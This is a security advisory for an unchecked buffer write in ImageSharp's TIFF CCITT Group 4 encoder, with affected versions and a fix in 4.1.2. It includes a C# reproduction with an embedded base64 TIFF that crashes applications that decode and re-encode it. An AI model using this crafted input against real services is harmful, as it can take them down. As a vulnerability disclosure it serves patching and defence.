CVE-2026-106115: ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

GitHub Advisories · officialPublished Oct 7, 2026Risk 37/100

### Summary The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details [`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte. After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span. The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path. ### Tested environment - Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker No active exploitation is known. ### Reproduction Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA"); using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}"); using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); } Console.WriteLine($"encoded=True bytes={output.Length}"); ``` Run: ```text dotnet run -- exploit dotnet run -- control ``` The exploit produced exit code 134: ```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ``` The control completed with exit code 0: ```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ``` ### Impact One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

Upgrade affected packages to a patched version: SixLabors.ImageSharp 4.1.2.
